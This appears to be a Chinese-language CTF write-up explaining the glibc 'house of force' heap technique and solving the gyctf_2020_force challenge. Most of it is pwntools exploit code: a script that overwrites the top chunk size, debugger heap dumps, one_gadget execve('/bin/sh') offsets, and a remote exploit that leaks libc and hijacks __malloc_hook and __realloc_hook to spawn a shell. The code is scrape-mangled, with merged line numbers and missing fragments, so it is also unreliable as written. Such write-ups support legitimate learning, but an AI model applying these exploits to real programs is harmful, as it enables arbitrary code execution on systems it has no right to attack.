house_of_force 
用户申请一个chunk后
top chunk的分配办法是在top chunk顶部分配出一个空间 随后top chunk的位置向高地址处增加
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 victim = av->top;if  ((unsigned  long ) (size) >= (unsigned  long ) (nb + MINSIZE))0 ));void  *p = chunk2mem (victim);return  p;
要实现house of force攻击,我们需要两点,一是修改Top chunk size为非常大的数,方便我们可以进行任意大的内存分配;二是分配大内存后,Top chunk剩余size必须大于:X(我们想要在目标地址分配的chunk大小,包括头部信息)+ MINSIZE(大小为0x20),这样才能让我们在目标地址处进一步分配X大小的chunk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from  pwn import *"./2heap" )"./2heap" )'linux' , arch='amd64' , log_level='debug' )def  debug ():def  get_addr ():return  u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' ))def  add (size,payload ):">" )b'1' )b"You can customize the size of house here, but what about your life" )str (size))b"add something to your house\n" )def  delete (index ):">" )b'2' )b'every decision you made is meaningful' )str (index))def  edit (index,size,payload ):">" )b'3' )b"It's never too late to make changes" )str (index))b"something interesting here" )str (size))b"Now add something" ,payload)def  show (index ):">" )b'4' )b"Let's see what you can do" )str (index))0x20 ,b'0xcafe66' )0x30 ,b'aaaa' )0x38 )+p64(0xffffffffffffffff )1 ,len (payload),payload)0x40 ,b'aaaa' )
攻只因前
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> heap0x1bc1000 0x291 0x1bc1290 0x31 0x1bc12c0 0x41 0x1bc1300 0x20d01 
攻只因后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pwndbg> heap0x1bc1000 0x291 0x1bc1290 0x31 0x1bc12c0 0x41 0x1bc1300 0xffffffffffffffff 40 gx 0x1bc1300 0x1bc1300 :	0x6161616e6161616d 	0xffffffffffffffff 0x1bc1310 :	0x000000000000000a 	0x0000000000000000 0x1bc1320 :	0x0000000000000000 	0x0000000000000000 0x1bc1330 :	0x0000000000000000 	0x0000000000000000 0x1bc1340 :	0x0000000000000000 	0x0000000000000000 0x1bc1350 :	0x0000000000000000 	0x0000000000000000 0x1bc1360 :	0x0000000000000000 	0x0000000000000000 0x1bc1370 :	0x0000000000000000 	0x0000000000000000 0x1bc1380 :	0x0000000000000000 	0x0000000000000000 0x1bc1390 :	0x0000000000000000 	0x0000000000000000 0x1bc13a0 :	0x0000000000000000 	0x0000000000000000 0x1bc13b0 :	0x0000000000000000 	0x0000000000000000 0x1bc13c0 :	0x0000000000000000 	0x0000000000000000 0x1bc13d0 :	0x0000000000000000 	0x0000000000000000 0x1bc13e0 :	0x0000000000000000 	0x0000000000000000 0x1bc13f0 :	0x0000000000000000 	0x0000000000000000 0x1bc1400 :	0x0000000000000000 	0x0000000000000000 0x1bc1410 :	0x0000000000000000 	0x0000000000000000 0x1bc1420 :	0x0000000000000000 	0x0000000000000000 0x1bc1430 :	0x0000000000000000 	0x0000000000000000 
可以看到这个topchunk的size已被篡改
下面放道题,看看该技术如何利用gyctf_2020_force 
1 2 3 4 5 6 [*] '/var/run/vmblock-fuse/blockdir/Zf5bfF/force' -64 -little
看看add函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned  __int64 sub_A20 () const  void  **i; char  s[256 ]; unsigned  __int64 v4; 0x28 u);memset (s, 255 , sizeof (s));for  ( i = (const  void  **)&unk_202080; *i; ++i )if  ( (char  *)i - (char  *)&unk_202080 > 39  )exit (0 );puts ("size" );0 , nptr, 0xF uLL);malloc (size);   if  ( !*i )exit (0 );printf ("bin addr %p\n" , *i);puts ("content" );0 , (void  *)*i, 0x50 uLL);puts ("done" );return  __readfsqword(0x28 u) ^ v4;
one_gadgets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0x45216  execve("/bin/sh" , rsp+0x30 , environ)NULL 0x4526a  execve("/bin/sh" , rsp+0x30 , environ)0x30 ] == NULL 0xf02a4  execve("/bin/sh" , rsp+0x50 , environ)0x50 ] == NULL 0xf1147  execve("/bin/sh" , rsp+0x70 , environ)0x70 ] == NULL 
先打house_of_force,拿捏top_chunk
__realloc_hook 和 __malloc_hook这两个钩子函数是相邻的,我们可以利用同一个chunk来劫持__malloc_hook为realloc+0x10,并劫持__realloc_hook为one_gadget
再次执行malloc即可getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from  pwn import  *'node4.buuoj.cn' ,27065 )"buu_libc-2.23.so" )'linux' , arch='amd64' , log_level='debug' )def  debug ():def  add (size, content ):"2:puts\n" )"1" )"size\n" )str (size))b"bin addr " )"\n" , drop=True )int (info.decode("ISO-8859-1" ), 16 )"content\n" )return  info0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ]0x200000 , 'chunk0\n' ) + 0x200ff0  'libc_base' +hex (libc.address))0x18 ,b'a' *0x10 +p64(0 )+p64(0xFFFFFFFFFFFFFFFF )) "heap_addr:" +hex (heap_addr))0x10           '__malloc_hook' ] "malloc_hook:" +hex (malloc_hook))"__libc_realloc" ]'system' ]b'/bin/sh' )"system:"  + hex (system))"bin_sh:"  + str (bin_sh))0x30 ,b'aaa\n' )0x30 ,b'a' *8 +p64(one_gadget[1 ] + libc.address)+p64(realloc+0x10 ))"2:puts\n" )'1' )"size\n" )str (20 ))